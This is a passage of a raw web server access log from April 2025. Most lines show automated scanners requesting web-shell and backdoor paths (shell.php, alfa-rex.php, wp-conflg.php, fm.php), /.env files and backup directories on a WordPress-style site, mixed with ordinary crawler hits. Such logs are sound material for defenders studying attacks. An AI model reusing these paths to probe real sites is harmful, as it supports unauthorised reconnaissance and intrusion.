/wp-includes/customize/muse.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:12 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:12 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:14 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:14 -0400] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:15 -0400] "GET /wp-content/uploads/2022/update.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:16 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:17 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:18 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:18 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:19 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:19 -0400] "GET /.well-knownold/inputs.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:20 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:21 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:21 -0400] "GET /assets/images/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:22 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:22 -0400] "GET /admin/uploads/lv.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:23 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:24 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:25 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:25 -0400] "GET /admin/uploads/media.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:26 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:26 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:27 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:27 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:28 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:28 -0400] "GET /wp-content/themes/twentytwentytwo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:29 -0400] "GET /index/lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:30 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:30 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:31 -0400] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:31 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:32 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:32 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:33 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:33 -0400] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:34 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:34 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:35 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:36 -0400] "GET /wp-admin/update.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:36 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:37 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:37 -0400] "GET /wp-content/mu-plugins/gecko.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:38 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:39 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:39 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:40 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:40 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:41 -0400] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:42 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:42 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:43 -0400] "GET /wp-includes/html-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:43 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:44 -0400] "GET /wp-admin/includes/m.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:44 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:45 -0400] "GET /admin/fckeditor/editor/filemanager/alfanew.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:46 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:47 -0400] "GET /wp-includes/IXR/shell.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:47 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:48 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:48 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:49 -0400] "GET /wp-includes/Requests/Utility/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:49 -0400] "GET /wp-content/upgrade-temp-backup/ty.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:50 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:51 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:56 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:57 -0400] "GET /include/wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:57 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:58 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:00 -0400] "GET /wp-includes/sodium_compat/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:01 -0400] "GET /bg/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:02 -0400] "GET /wp-content/plugins/core-plugin/file-manager.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:02 -0400] "GET /wp-content/uploads/423_index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:03 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:04 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:04 -0400] "GET /wp-admin/byp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:05 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:06 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:06 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:07 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:07 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:08 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:08 -0400] "GET /wp-includes/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:09 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:10 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:11 -0400] "GET /assets/plugins/jquery-file-upload/server/php/include.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:13 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:14 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:14 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:16 -0400] "GET /images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:17 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:18 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:19 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:19 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:20 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:20 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:21 -0400] "GET /wp-content/plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:21 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:22 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:22 -0400] "GET /wp-admin/admin-post.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:23 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:24 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:24 -0400] "GET /wp-admin/network/shell.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:25 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:25 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:26 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:27 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:27 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:28 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:29 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:30 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:30 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:31 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:31 -0400] "GET /.well-known/cache-compat.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:32 -0400] "GET /wp-mail.php/wp-includes/ID3/rnEPv9.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:32 -0400] "GET /wp-includes/php-compat/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:33 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:34 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:34 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:35 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:35 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:35 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:36 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:36 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:37 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:38 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:38 -0400] "GET /wp-admin/css/colors/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:39 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:40 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:41 -0400] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:42 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:42 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:42 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:43 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:44 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:44 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:45 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:45 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:46 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:46 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:47 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:28:48 -0400] "GET /images/stories/admin-post.php HTTP/1.1" 301 795 "-" "-" 83.99.151.71 - - [09/Apr/2025:14:35:56 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoProductSearch; +https://geedo.com/product-search.html) Chrome/134.0.0.0 Safari/537.36" 83.99.151.71 - - [09/Apr/2025:14:35:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoProductSearch; +https://geedo.com/product-search.html) Chrome/134.0.0.0 Safari/537.36" 149.56.160.203 - - [09/Apr/2025:14:38:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 194.38.23.16 - - [09/Apr/2025:14:55:23 -0400] "GET /server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.166.134.47 - - [09/Apr/2025:15:24:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.172.103.135 - - [09/Apr/2025:16:07:00 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:05 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:05 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:06 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:06 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:07 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:07 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:09 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:16:07:09 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 195.191.219.131 - - [09/Apr/2025:16:09:06 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [09/Apr/2025:16:09:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 184.174.20.30 - - [09/Apr/2025:16:31:13 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 184.174.20.30 - - [09/Apr/2025:16:31:17 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:01 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:02 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:03 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:03 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:04 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:04 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:05 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:06 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:06 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:17:02:07 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.7.214.130 - - [09/Apr/2025:17:46:40 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 172.172.41.125 - - [09/Apr/2025:17:54:23 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:29 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:29 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:30 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:32 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:32 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:33 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:34 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:34 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:35 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:36 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:37 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:38 -0400] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:39 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:40 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:40 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:41 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:41 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:42 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:42 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:43 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:43 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:54:44 -0400] "GET /wp-includes/block-supports/autoload_classmap.php 